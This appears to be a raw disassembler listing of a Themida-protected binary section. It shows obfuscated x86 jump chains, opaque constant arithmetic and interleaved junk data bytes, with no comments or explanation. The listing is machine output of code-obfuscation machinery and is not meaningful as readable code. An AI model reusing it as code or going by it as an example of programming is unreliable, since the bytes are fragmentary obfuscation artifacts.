		mov	esp, [esp]
		imul	ecx, eax
		jmp	loc_5468C4
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF8A23E9h, 0BB535DFFh, 3D42173Ah, 0C381D3F7h, 3D42173Fh
		dd 0FF932CE9h, 63E581FFh, 0C112142Ah, 0F58103EDh, 659B1410h
		dd 0E95DE831h, 0FFFFA8D5h
; ---------------------------------------------------------------------------


loc_54B190:				; CODE XREF: Themida_:0054B41Aj
		shl	eax, cl
		jmp	loc_541DB1
; ---------------------------------------------------------------------------
		db 80h
		dd 0EA8066EAh, 5DF280B8h, 63B75366h, 0FFED03E9h, 0D2E95BFFh
		dd 49FFFFAFh, 0ADAF181h, 0F0E9F678h, 66FFFFF1h,	8124048Bh
		dd 4ECh, 243C8900h, 0FFFC07E9h,	24248BFFh, 9C2404D3h, 0FF71EDE9h
		dd 80FDB1FFh, 0E1C0BCC1h, 80C9FE06h, 0E1C0C1E9h, 192CE906h
		dd 85E90000h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B1F3:				; CODE XREF: Themida_:0054BF67j
		sub	eax, 20F25966h
		jmp	loc_54A5D7
; ---------------------------------------------------------------------------


loc_54B1FD:				; CODE XREF: Themida_:00548EF5j
		pop	eax
		jmp	loc_54729E
; ---------------------------------------------------------------------------
		db 81h
		dd 9622F1E2h, 0ECEA8151h, 29DD41E2h, 0C0E95AD6h, 89FFFF80h
		dd 75E92424h, 58FFFF73h, 2333CF81h, 814F1857h, 51D04EEFh
		dd 0DBBFE911h, 75BBFFFFh, 55301125h, 0FFF9FEE9h, 24248BFFh
		dd 8B2434FFh, 14682414h, 8900006Eh, 0E6892434h,	4B850h
		dd 45E90000h, 8BFFFF67h, 0DCE92404h, 80FFFFBFh,	0EF80F3CFh
		dd 734FE901h, 0BD55FFFFh, 38D71F38h, 0E95DE801h, 3B9h
		dd 0D7A7EA81h, 0D629EE8Ch, 0C7BB535Ah, 14B9450h, 855CE9DEh
		dd 0F791FFFFh, 0D6E950D1h, 0FEFFFFF1h, 7752E9C6h, 34FFFFFFh
		dd 24048B24h, 7E6968h, 4BCE900h, 0F660000h, 5166C8AFh
		dd 60BAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B2BE:				; CODE XREF: Themida_:00543A42j
		mov	ecx, 1AEB465Dh
		shr	ecx, 2
		xor	ecx, 0DAA113C7h
		jmp	loc_54B7C7
; ---------------------------------------------------------------------------
		db 68h,	55h, 14h
		dd 5585540h, 0ABE9F304h, 8158C289h, 7222BEAh, 0E6BE560Ah
		dd 21784B02h, 0EAC15EF2h, 79B85004h, 54CF233h, 24641276h
		dd 0E958C221h, 0FFFF9CA8h, 0F6E9F000h, 0FFFFFFF3h, 0E9042474h
		dd 1FC2h
; ---------------------------------------------------------------------------


loc_54B314:				; CODE XREF: Themida_:0054D471j
		pop	eax
		push	eax
		mov	eax, 4B623C3Dh
		sub	eax, 0DCCB29E3h
		jmp	loc_54484E
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 0E9h
		dd 0FFFF84A7h
; ---------------------------------------------------------------------------


loc_54B32C:				; CODE XREF: Themida_:0054D139j
		pop	esi
		jmp	loc_549A11
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F580424h, 665C2404h, 68240C89h, 2199h, 0FF765BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B349:				; CODE XREF: Themida_:00548D83j
		mov	[esp], esi
		jmp	loc_54CB6A
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 0E924248Bh, 0FFFFEE45h, 33C1EB81h, 0F74B2B2Fh, 7471E9DBh
		dd 48FFFFFh, 1E7FE924h,	815F0000h, 4C7h, 4C78300h, 5C243C87h
		dd 109FB951h, 0F8E96579h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B38B:				; CODE XREF: Themida_:00545D45j
		pop	edx
		jmp	loc_542E16
; ---------------------------------------------------------------------------
		db 21h,	47h, 1Ch
		dd 5524048Bh, 242C8B54h, 5004C483h, 4B8h, 8BC50100h, 4EE92404h
		dd 51FFFFBDh, 4FC068h, 241C8900h, 0FFE1D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B3BD:				; CODE XREF: Themida_:00546067j
		push	edx
		mov	edx, 124A7DF6h
		jmp	loc_54B99E
; ---------------------------------------------------------------------------


loc_54B3C8:				; CODE XREF: Themida_:0054599Bj
		xor	ebp, 77F09949h
		add	eax, ebp
		jmp	loc_54D469
; ---------------------------------------------------------------------------


loc_54B3D5:				; CODE XREF: Themida_:00541837j
		sub	edx, eax
		jmp	loc_547056
; ---------------------------------------------------------------------------
aN1U?25h	db '­1ØU½',27h,'?25hÌ`',0
		align 2
		dw 2C89h
		dd 242C8324h, 70E95D01h, 55FFFFBFh, 5D2414F7h, 0FFC57AE9h
		dd 74FF50FFh, 8F580424h, 895C2404h, 8DE9242Ch
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B413:				; CODE XREF: Themida_:0054361Fj
		push	ecx
		mov	ecx, esi
		mov	eax, ecx
		pop	ecx
		pop	esi
		jmp	loc_54B190
; ---------------------------------------------------------------------------
		db 1
		dd 0DA03E9D7h, 1C8BFFFFh, 4EC8124h, 0E9000000h,	0FFFFFD29h
; ---------------------------------------------------------------------------


loc_54B434:				; CODE XREF: Themida_:00543C89j
		pop	edx
		jmp	loc_547381
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 14BEh, 56241C8Bh, 0FF9696E9h, 1C875DFFh, 36E95C24h
		dd 0B2FFFFCBh, 5DEA8078h, 30D8EA80h, 24148BD1h,	4C481h
		dd 0ECE90000h, 0BEFFFFCEh, 6CBB77B9h, 0E907EEC1h, 0FFFF6952h
; ---------------------------------------------------------------------------


loc_54B478:				; CODE XREF: Themida_:0054A926j
		neg	ecx
		and	ecx, 7EEC199Fh
		sub	ecx, 16DAB5C0h
		jmp	loc_54CC31
; ---------------------------------------------------------------------------
		db 81h
		dd 44C248EEh, 0FB78E9E2h, 0C380FFFFh, 690AE9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B49E:				; CODE XREF: Themida_:0054159Cj
		pop	edx
		jmp	loc_543B1B
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 506804C4h, 8900004Ch, 0EC81241Ch,	4, 68243489h
		dd 463Ah, 0BA241489h, 1D2715E9h, 4EC81h, 0C890000h, 89D18924h
		dd 685A59CEh, 1D2715E8h, 5EF3315Bh, 34FFD821h, 241C8B24h
		dd 0FFED5DE9h, 240481FFh, 4, 483C685Dh,	14890000h, 0CEE95024h
		dd 8FFFFFFDh, 895C2404h, 4832424h, 65E90424h, 2DFFFF5Eh
		dd 29853956h, 4C0835Dh,	8B240487h, 89532424h, 4C381E3h
		dd 83000000h, 1C8704C3h, 0BE95C24h, 58FFFFBFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_549A3C
; ---------------------------------------------------------------------------
		dd 8852CF88h, 5AD488FAh, 0FFFED9E9h, 74FF57FFh,	8F5F0424h
		dd 815C2404h, 4C4h, 24042900h, 5E12E99Ch, 0F759FFFFh, 0DA3DE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B56E:				; CODE XREF: Themida_:00542E50j
		or	edx, eax
		shl	edx, 1
		push	edx
		jmp	loc_54704B
; ---------------------------------------------------------------------------
aSs		db '^éá"',0
		align 2
		dw 0C481h
		dd 4, 1B63C381h, 0D8890B0Ah, 77F2D5Bh, 0A42D6BF6h, 2D269349h
		dd 52954131h, 6F4C3C05h, 25BD5501h, 0E97D3800h,	0FFFF903Dh
		dd 59CB005Bh, 0FFC0B60Fh, 0CCE98734h, 83FFFFF7h, 0E95704C4h
		dd 0FFFF6E65h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54A222
; ---------------------------------------------------------------------------
		db 0B8h, 0Fh, 29h
		dd 0E8C123FEh, 57B30503h, 17E96075h, 5AFFFFF3h,	2C181h
		dd 0FF510000h, 8B042474h, 0C483240Ch, 24048F04h, 6624248Bh
		dd 2404B30Fh, 5D6EE99Ch, 8059FFFFh, 0D700D5C7h,	0E9D5EF80h
		dd 0FFFFEC96h
; ---------------------------------------------------------------------------


loc_54B618:				; CODE XREF: Themida_:00545168j
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		mov	ebx, 5A8D6AD5h
		jmp	loc_549BB4
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFBBE0E9h, 0CE959FFh, 59FFFFA4h, 5C243487h,	4C181h
		dd 0BB530000h, 10CC565Ah, 81DBF74Bh, 33A9A3F3h,	5BD901EFh
		dd 0FFCB7AE9h, 24348BFFh, 56E38953h, 0C57E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B669:				; CODE XREF: Themida_:00544851j
		add	esi, 916AEDACh
		sub	ecx, esi
		pop	esi
		jmp	loc_549C2B
; ---------------------------------------------------------------------------
		db 1
		dd 0FF525BDAh, 8B042474h, 0C4812414h, 4, 0FF68D0E9h, 240489FFh
		dd 0B868E089h, 8900007Ah, 0A8BD242Ch, 0E916FF75h, 0FFFFD02Fh
		dd 2BDh, 5DEE8900h, 348BF729h, 8D66E924h, 0E8C1FFFFh, 0E9C83108h
		dd 0FFFFBAB9h
; ---------------------------------------------------------------------------


loc_54B6C0:				; CODE XREF: Themida_:00545D94j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	1E0Eh
		mov	[esp], ebx
		jmp	loc_54C022
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 29A1E981h, 73E92EE1h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B6E3:				; CODE XREF: Themida_:00545203j
		push	ecx
		jmp	loc_545508
; ---------------------------------------------------------------------------
		db 1, 0DFh, 0E9h
		dd 0FFFFBC4Bh, 0E9241487h, 0FFFF87C9h, 81C8B70Fh, 4ECh
		dd 240C8900h, 794768h, 0A05FE900h, 0E781FFFFh, 0E8D3E83h
		dd 35BCF781h, 0E7814153h, 35083629h, 7E93B850h,	95357AD0h
		dd 0C1399428h, 722503E8h, 0D408172h, 0D033224h,	436D8035h
		dd 58C7316Ch, 49C8F781h, 0ED816048h, 31243911h,	5BE9FD01h
		dd 56FFFFCAh, 834E8668h, 7AE95E56h, 0C000001Fh,	2AE903EEh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B767:				; CODE XREF: Themida_:00547EEBj
		push	edx
		push	ebp
		jmp	loc_548327
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 53E78924h, 4BBh, 5BDF0100h, 460368h,	242C8900h, 4BDh
		dd 0D4D3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B78E:				; CODE XREF: Themida_:00549D66j
		dec	esi
		xor	esi, 0EB79DF3Fh
		add	eax, esi
		pop	esi
		sub	eax, 4
		jmp	loc_549706
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 2EC81E9h, 66000000h,	0B7241C89h, 66FE206Ah, 0E9241C8Bh
		dd 0FFFFACD0h, 5F37E981h, 19E994D8h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B7C7:				; CODE XREF: Themida_:0054B2CCj
		xor	ebx, ecx
		pop	ecx
		jmp	loc_544326
; ---------------------------------------------------------------------------
		db 0BAh
		dd 700163h, 2E9D131h, 52FFFF7Fh, 8318ABBAh, 81D2F758h
		dd 630ED0E2h, 0F7DAF776h, 54F281DAh, 0E9266006h, 0FFFF9B09h
; ---------------------------------------------------------------------------


loc_54B7F8:				; CODE XREF: Themida_:00545F02j
		not	eax
		shr	eax, 1
		inc	eax
		sub	eax, 68D32FBCh
		add	eax, 4DD39D13h
		push	eax
		xor	dword ptr [esp], 3E55725Fh
		pop	esi
		xor	esi, 3E55725Fh
		pop	eax
		jmp	loc_54689D
; ---------------------------------------------------------------------------
		dd 44AA05ADh, 3B687BC5h, 89000011h, 6852243Ch, 7075683Eh
		dd 7E2C15Ah, 0B833EA81h, 8953E1DEh, 4EC81D3h, 89000000h
		dd 0DE892434h, 5B5EF789h, 0E924148Bh, 0FFFF7F72h
; ---------------------------------------------------------------------------


loc_54B854:				; CODE XREF: Themida_:00542D03j
		add	ebx, 4
		jmp	loc_54A504
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 815D0000h, 4C5h, 0B5E95000h, 800001Bh
		dd 0E9805AF1h, 9FF6E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B87E:				; CODE XREF: Themida_:00544ACEj
		push	ebx
		mov	ebx, 56982E28h
		and	ebx, 678328D4h
		sub	ebx, 1A32336Fh
		inc	ebx
		sub	ebx, 164779C1h
		xor	ebx, 1390284Fh
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xor	ebx, [esp]
		jmp	loc_54904B
; ---------------------------------------------------------------------------


loc_54B8C7:				; CODE XREF: Themida_:005458B1j
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]


loc_54B8D6:				; CODE XREF: Themida_:0054390Dj
		push	ebp
		mov	ebp, ebx
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 54CF294Eh
		jmp	loc_54D691
; ---------------------------------------------------------------------------
		db 88h,	0E5h, 58h
		dd 0E976B252h, 1EF7h, 33595125h, 12D25h, 0BA520000h, 1
		dd 525AD001h, 311151BAh, 0FFD02900h, 835A2434h,	3EE904C4h
		dd 81FFFFBFh, 4ECh, 240C8900h, 8D181AB9h, 8BCE0106h, 0C481240Ch
		dd 4, 2C68159h,	87000000h, 5E92434h, 8BFFFFE0h,	0EC832424h
		dd 3C0E904h, 148B0000h,	4C48124h, 68000000h, 38BBh, 0BE243489h
		dd 64C74314h, 3EFE9h, 240C8B00h, 0FF04C483h, 348B2434h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 31243433h, 34332434h
		dd 0E56E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B99E:				; CODE XREF: Themida_:0054B3C3j
		xor	edx, 5AA52EDFh
		shr	edx, 4
		shr	edx, 1
		sub	edx, 9FD437Dh
		push	eax
		mov	eax, 0F84A371Ah
		sub	edx, eax
		pop	eax
		add	eax, edx
		jmp	loc_542BC0
; ---------------------------------------------------------------------------
		db 81h
		dd 0A172A2C6h, 0CE295A74h, 83240C8Bh, 5CE904C4h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B9D3:				; CODE XREF: Themida_:00548474j
		mov	[esp], edi
		mov	edi, 502B7793h
		mov	ecx, edi
		pop	edi
		dec	ecx
		shr	ecx, 6
		shr	ecx, 1
		push	eax
		jmp	loc_541E75
; ---------------------------------------------------------------------------


loc_54B9EA:				; CODE XREF: Themida_:005434C6j
		shr	esi, 4
		jmp	loc_542C77
; ---------------------------------------------------------------------------


loc_54B9F2:				; CODE XREF: Themida_:00547722j
		and	edx, 4D46772Bh
		jmp	loc_54699F
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 72h
		dd 8B23A745h, 4EE9242Ch, 8BFFFF5Fh, 57E9240Ch, 8FFFFF87h
		dd 1BE92404h, 66FFFFE5h, 55240C8Bh, 8904EC83h, 53552424h
		dd 0BC702A68h, 0E3815B46h, 73D846CFh, 0FFB6B7E9h, 5DE901FFh
		dd 3611BE56h, 0F6812EE0h, 2EE03613h, 348BF101h,	4C48324h
		dd 8B240C87h, 8B662424h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_546187
; ---------------------------------------------------------------------------
		dw 11E9h
		dd 33FFFF59h, 248B241Ch, 0FD685524h, 8B25CF25h,	50E9242Ch
		dd 81FFFFA8h, 0AE1BE4EEh, 0FF565B3Ch, 0E9042474h, 471h
		dd 57E9D830h, 29FFFFB9h, 0F13BE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BA9A:				; CODE XREF: Themida_:00547E53j
		push	429Eh
		mov	[esp], ecx
		push	esi
		pop	ecx
		pop	esi
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		xor	ecx, esi
		xor	esi, ecx
		xor	ecx, esi
		add	ecx, 5D34D50Fh
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_54353E
		push	edi
		push	57BC5B31h
		pop	edi
		push	ebp
		mov	ebp, 537C7D7Fh
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	3FBCh
		mov	[esp], eax
		mov	eax, 59166A30h
		mov	ecx, eax
		pop	eax
		push	edx
		mov	edx, 133EE254h
		add	ecx, edx
		pop	edx
		and	edi, ecx
		jmp	loc_542C99
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 10h
		dd 0FF000008h, 148B2434h, 0C1F2E924h, 0EA01FFFFh, 83C2295Dh
		dd 2C8904ECh, 6C5E924h,	51660000h, 662414F6h, 83240C8Bh
		dd 0FAE902C4h, 89FFFFADh, 0A1BD242Ch, 535CDE5Ah, 0DE1AC7BBh
		dd 0D3F74B59h, 21A8BD55h, 0ED815415h, 5CD47A84h, 0C104E5C1h
		dd 814D06E5h, 0CC7A05C5h, 98ED8163h, 1AFAC94h, 0DD315DEBh
		dd 0E9241C8Bh, 0FFFFE760h
; ---------------------------------------------------------------------------


loc_54BB6C:				; CODE XREF: Themida_:005496F8j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	ecx
		push	2DEFh
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_541378
; ---------------------------------------------------------------------------


loc_54BB86:				; CODE XREF: Themida_:00546200j
		pop	eax
		jmp	loc_548486
; ---------------------------------------------------------------------------
		dd 0C8B60F66h, 172EE9h,	7F83AD00h, 840F0020h, 0FFFFDCFFh
		dd 236DBA52h, 814A3837h, 0F31BCAF2h, 0F7D2F73Fh, 0F6C6E9DAh
		dd 1433FFFFh, 24248B24h, 0F66F9F6h, 0EC83CCB6h,	240C8904h
		dd 0FF5B93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BBCD:				; CODE XREF: Themida_:00541A91j
		push	6A4Bh
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_54D912
; ---------------------------------------------------------------------------
		dd 0E932C680h, 0FFFF7C9Bh, 4C781h, 0BE560000h, 4, 27E9F701h
		dd 83FFFF5Fh, 0C8904ECh, 741FE924h, 0F581FFFFh,	3A598961h
		dd 9FE9E831h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BC13:				; CODE XREF: Themida_:005414ABj
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5456EC
; ---------------------------------------------------------------------------
		dd 0FFC0B60Fh, 41E98734h, 5FFFF57h, 4, 405h, 24048700h
		dd 0C61255Ch, 0B8E90BBCh, 89FFFFC5h, 19E9243Ch,	88FFFFA0h
		dd 24148BF3h, 0E9E68956h, 0FFFFCCA9h, 56242C8Bh, 0FFA4A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BC6D:				; CODE XREF: Themida_:0054CFC2j
		sub	edi, eax
		jmp	loc_5433AB
; ---------------------------------------------------------------------------
		dd 42474FFh, 8324048Bh,	1C8904ECh, 0DDF9E924h, 48FFFFFh
		dd 8B665C24h, 89502404h, 405E0h, 0EC810000h, 4,	83241489h
		dd 48904ECh, 4348B824h,	0CDE96A9Fh
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BCAF:				; CODE XREF: Themida_:0054674Ej
		pop	ebp
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_543E8B
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 33000000h, 0AFE9240Ch, 81FFFF63h, 0DA56B3C2h, 0EA815E79h
		dd 434B4193h, 0C281F201h, 434B4193h, 39ACEA81h,	15E27C4h
		dd 8EB4E9D5h, 2C89FFFFh, 9E95424h, 87000003h, 895C241Ch
		dd 34FF2404h, 24148B24h, 8104C483h, 4C4h, 94EEE900h, 489FFFFh
		dd 808E924h, 3C8B0000h,	4C48324h, 57C868h, 24348900h, 1921E9h
		db 0
; ---------------------------------------------------------------------------


loc_54BD35:				; CODE XREF: Themida_:005495BEj
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		push	esi
		jmp	loc_54BEDD
; ---------------------------------------------------------------------------
		dd 89FD8955h, 15F5DE8h,	87BAE9C7h, 0E956FFFFh, 0FFFF6A0Eh
		dd 11B6EB81h, 0F3297A14h, 421E9h, 0C4835800h, 1685B04h
		dd 89000039h, 78BE2434h, 507C973Ch, 75B2BA52h, 0FB84A03h
		dd 11716E4h, 8CE95AD0h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BD97:				; CODE XREF: Themida_:005466C6j
		pop	esp


loc_54BD98:				; CODE XREF: Themida_:00548418j
		push	6565h
		mov	[esp], edi
		mov	edi, 0
		push	edi
		pop	dword ptr [edx+30h]
		mov	edi, [esp]
		push	ebx
		push	4D55h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ebx
		push	esi
		mov	esi, 149B3C4Ch
		or	esi, 7AD64F7Bh
		jmp	loc_549273
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5455240Ch, 0FFF388E9h, 15E950FFh, 66000017h,	5024048Bh
		dd 2ECE954h, 68660000h,	89663610h, 9CE9240Ch, 4FFFFDCh
		dd 2CE80084h, 0EA16E984h, 0C186FFFFh, 887BE980h, 0F7B559C8h
		dd 2858C528h, 0B6525AD5h, 7EEC07Ah, 806EF680h, 0DEF6D1C6h
		dd 20B6F680h, 0DDF65AF5h, 0D4F6E586h, 0F580E586h, 8BE8302Bh
		dd 8956240Ch, 4C681E6h,	83000000h, 0FF5604C6h, 0E9042474h
		dd 0D75h, 21E95756h, 0FE000008h, 0E9E9D0C1h, 1017h, 8E4340BAh
		dd 0D4E28139h, 0E907522Ch, 0FFFF9413h, 0E9243C87h, 1974h
		dd 515DE809h, 718E9h, 0DFE9AC00h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BE87:				; CODE XREF: Themida_:00541A72j
		push	ebx
		mov	bl, 6Dh
		push	edx
		jmp	loc_544A34
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 248B2434h, 241C8924h
		dd 413EB068h, 5871E939h, 0C181FFFFh, 2366292Eh,	4A59CA01h
		dd 0FF6DECE9h, 394068FFh, 0D1E90000h, 51000001h, 73E9E189h
		dd 80000003h, 0F82CD5C1h, 0FF5FADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BEDD:				; CODE XREF: Themida_:0054BD4Bj
		mov	esi, 56AC6173h
		sub	esi, 6C296523h
		or	esi, 76F937E4h
		not	esi
		jmp	loc_54A26E
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FFDBBFE9h, 48F5EFFh, 0E9F75C24h, 2A2068h, 0EF2EE900h
		dd 3C89FFFFh, 4BF24h, 0FA010000h, 2414875Fh, 8B24248Bh
		dd 89512404h, 0EABE56E1h, 0E9561832h, 0FFFFDCAAh
; ---------------------------------------------------------------------------


loc_54BF30:				; CODE XREF: Themida_:0054A3FAj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_54245F
; ---------------------------------------------------------------------------
		dd 0C281EA29h, 42E5AF6h, 542EE95Dh, 1C33FFFFh, 0F2EBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BF52:				; CODE XREF: Themida_:0054D354j
		pop	esp
		push	ebx
		mov	ebx, 49B9655Bh
		jmp	loc_54974E
; ---------------------------------------------------------------------------


loc_54BF5E:				; CODE XREF: Themida_:00545C1Dj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54B1F3
; ---------------------------------------------------------------------------
		dd 3DE9C681h, 0C6813278h, 0A6161154h, 835EF029h, 3C8904ECh
		dd 0EA9BF24h, 0F7815E8Fh, 55E92212h, 0FFA173E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BF91:				; CODE XREF: Themida_:0054CD25j
		not	dword ptr [esp]
		pop	edx
		push	eax
		push	4556h
		mov	[esp], edx
		push	3D5F3282h
		pop	edx
		jmp	loc_5456BE
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8F000000h, 0E95C2404h, 0FFFFE812h
; ---------------------------------------------------------------------------


loc_54BFB8:				; CODE XREF: Themida_:0054A595j
		push	eax
		mov	eax, esp
		push	esi
		push	eax
		jmp	loc_549D4F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0C194E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BFCE:				; CODE XREF: Themida_:00544828j
		mov	ebp, 324A31CCh
		and	esi, ebp
		pop	ebp
		shr	esi, 1
		push	eax
		mov	eax, 18251004h
		xor	esi, eax
		pop	eax
		and	ecx, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_54C328
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4BE5600h, 0E9000000h, 0FFFFE5B8h, 4EC815Dh, 89000000h
		dd 0E957240Ch, 0FFFFC635h
; ---------------------------------------------------------------------------


loc_54C018:				; CODE XREF: Themida_:005455E3j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 0D227E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C022:				; CODE XREF: Themida_:0054B6D1j
		push	esi
		mov	esi, 2000h
		push	ecx
		jmp	loc_54CB70
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 4EC81h, 34890000h, 81E68924h, 4C6h, 4C68300h
		dd 0FFB17AE9h, 3998BFFFh, 0FB010FDEh, 65B8505Fh, 0F705C426h
		dd 0D7DCE9D8h, 0C186FFFFh, 14DCE9h, 4C08300h, 5C240487h
		dd 0FF6DFBE9h, 53C681FFh, 29211613h, 24348BF7h,	4C481h
		dd 0F8890000h, 0D0F7405Fh, 0BFB73548h, 0C301EC1Dh, 0E9038858h
		dd 0FFFF88CFh, 0E9240489h, 0FFFFF28Eh
; ---------------------------------------------------------------------------


loc_54C0A4:				; CODE XREF: Themida_:0054D7E7j
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54777C
; ---------------------------------------------------------------------------
		db 68h,	0F6h, 1
		dd 0D5E92EA7h, 5BFFFFE3h, 34FFD328h, 8924E924h,	0EC83FFFFh
		dd 240C8904h, 0EE0036B5h, 0DD6AE959h, 48BFFFFh,	4C48324h
		dd 0FF9DD6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C0E5:				; CODE XREF: Themida_:005440DEj
		push	ebx
		mov	ebx, 768A7F93h
		shl	ebx, 3
		dec	ebx
		and	ebx, 7DB72CACh
		push	edi
		jmp	loc_543EF9
; ---------------------------------------------------------------------------
		db 9
		dd 241C8BDEh, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FFC460E9h
		db 0FFh
; ---------------------------------------------------------------------------

locret_54C115:				; CODE XREF: Themida_:0054A1DEj
		retn
; ---------------------------------------------------------------------------
		dw 5DE9h
		dd 52FFFF52h, 5B09E954h, 0C281FFFFh, 7B5847D3h,	7FE4E959h
		dd 67BDFFFFh, 81572E34h, 2E3463EDh, 5DEF8957h, 875FFA01h
		dd 595C2414h, 0FF522FE9h, 66E800FFh, 24596859h,	14890000h
		dd 66A3B224h, 96B753h, 805B66FAh, 0F280FFEAh, 0BC0E941h
		dd 15B0000h, 0E95552F0h, 0FFFFA003h, 0FA3FED81h, 0EF89A7F4h
		dd 44C7815Dh, 0E94F8B64h, 0FFFF60D6h, 24048B66h, 8D91E952h
		dd 0C381FFFFh, 7A1411B6h, 8324348Bh, 0EB8104C4h, 20BC3243h
		dd 0C381C301h, 20BC3243h, 4EC81h, 0C890000h, 28F86824h
		dd 0C8B5371h, 4C48324h,	0FFE301E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C1C5:				; CODE XREF: Themida_:0054842Ej
		push	ebp
		mov	ebp, 4
		jmp	loc_54A3E4
; ---------------------------------------------------------------------------
		dd 54240C89h, 0FF857FE9h, 0FFCD01FFh, 0A9E92434h, 0BDFFFFDAh
		dd 427A3879h, 4EC81h, 1C890000h, 755CBB24h, 0CBE929EFh
		dd 81FFFFAAh, 7C423FF2h, 49C2817Dh, 8169C526h, 32DEC3C2h
		dd 0E9D18908h, 0FFFFCEA0h
; ---------------------------------------------------------------------------


loc_54C214:				; CODE XREF: Themida_:0054D8F0j
		add	eax, 4
		sub	eax, 4
		jmp	loc_54C9DB
; ---------------------------------------------------------------------------


loc_54C223:				; CODE XREF: Themida_:00548CD5j
		pop	edx
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_546E7F
